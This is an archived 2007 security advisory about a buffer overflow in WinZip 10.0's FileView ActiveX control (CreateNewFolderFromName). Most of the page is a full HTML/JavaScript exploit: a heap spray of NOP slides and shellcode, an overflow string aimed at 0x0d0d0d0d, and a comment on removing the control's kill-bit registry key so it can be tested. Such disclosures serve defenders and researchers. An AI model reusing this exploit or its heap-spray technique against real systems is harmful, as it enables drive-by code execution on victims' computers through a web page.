Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15555
HistoryJan 03, 2007 - 12:00 a.m.

WinZip FileView ActiveX controls CreateNewFolderFromName Method Buffer Overflow Vulnerability

2007-01-0300:00:00
vulners.com
18

WinZip FileView ActiveX controls CreateNewFolderFromName Method Buffer Overflow Vulnerability


SUMMARY:

A vulnerability has been identified in Winzip 10.0 Build 6667,May be other version, which could be exploited by remote or local attackers to execute arbitrary commands.
The first flaw is due to errors in the "WZFILEVIEW.FileViewCtrl.61" ActiveX control that does not validate input passed to CreateNewFolderFromName methods.


DETAILS:

Vulnerable systems: Winzip 10.0 Build 6667 and probable others

Exploit:
</body>
</html>
<head>
<object classid="clsid:{A09AE68F-B14D-43ED-B713-BA413F034904}" id="winzip">
</object>
</head>

<body>

<SCRIPT language="javascript">
/*
—===[ winzip-exploit.html

            Xiao Hui : 76693223[at]163.com
            HomePage: www.nipc.org.cn
            &#40;c&#41; 2006 All rights reserved.
            note:Because of the prior vuln in FileView ActiveX Control,Micorsoft has disabled this ActiveX Controls,
                 To test this vuln,You can delete the key:
                 [HKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Internet Explorer&#92;ActiveX Compatibility&#92;{A09AE68F-B14D-43ED-B713-BA413F034904}]
     &quot;Compatibility Flags&quot;=dword:00000400
     I have test the exploit on Windows 2000+sp4&#40;CN&#41; and Windows xp+sp2&#40;CN&#41; and Winzip 10.0&#40;6667&#41;,you can try other version,goodluck~
    ]===---

*/

var heapSprayToAddress = 0x0d0d0d0d;

    var payLoadCode = unescape&#40;&quot;&#37;uE8FC&#37;u0044&#37;u0000&#37;u458B&#37;u8B3C&#37;u057C&#37;u0178&#37;u8BEF&#37;u184F&#37;u5F8B&#37;u0120&#37;u49EB&#37;u348B&#37;u018B&#37;u31EE&#37;u99C0&#37;u84AC&#37;u74C0&#37;uC107&#37;u0DCA&#37;uC201&#37;uF4EB&#37;u543B&#37;u0424&#37;uE575&#37;u5F8B&#37;u0124&#37;u66EB&#37;u0C8B&#37;u8B4B&#37;u1C5F&#37;uEB01&#37;u1C8B&#37;u018B&#37;u89EB&#37;u245C&#37;uC304&#37;uC031&#37;u8B64&#37;u3040&#37;uC085&#37;u0C78&#37;u408B&#37;u8B0C&#37;u1C70&#37;u8BAD&#37;u0868&#37;u09EB&#37;u808B&#37;u00B0&#37;u0000&#37;u688B&#37;u5F3C&#37;uF631&#37;u5660&#37;uF889&#37;uC083&#37;u507B&#37;u7E68&#37;uE2D8&#37;u6873&#37;uFE98&#37;u0E8A&#37;uFF57&#37;u63E7&#37;u6C61&#37;u0063&quot;&#41;;

    var heapBlockSize = 0x400000;

    var payLoadSize = payLoadCode.length * 2;

    var spraySlideSize = heapBlockSize - &#40;payLoadSize+0x38&#41;;

    var spraySlide = unescape&#40;&quot;&#37;u9090&#37;u9090&quot;&#41;;
    spraySlide = getSpraySlide&#40;spraySlide,spraySlideSize&#41;;

    heapBlocks = &#40;heapSprayToAddress - 0x400000&#41;/heapBlockSize;

    memory = new Array&#40;&#41;;

    for &#40;i=0;i&lt;heapBlocks;i++&#41;
    {
            memory[i] = spraySlide + payLoadCode;
    }
    

    var xh = &#39;A&#39;;
    while &#40;xh.length &lt; 231&#41; xh+=&#39;A&#39;;
    xh+=&quot;&#92;x0d&#92;x0d&#92;x0d&#92;x0d&quot;;
    winzip.CreateNewFolderFromName&#40;xh&#41;;
    function getSpraySlide&#40;spraySlide, spraySlideSize&#41;
    {
            while &#40;spraySlide.length*2&lt;spraySlideSize&#41;
            {
                    spraySlide += spraySlide;
            }
            spraySlide = spraySlide.substring&#40;0,spraySlideSize/2&#41;;
            return spraySlide;
    }

</script>
</body>
</html>


Xiao Hui
Team:NCNIPC
HomePage:www.nipc.org.cn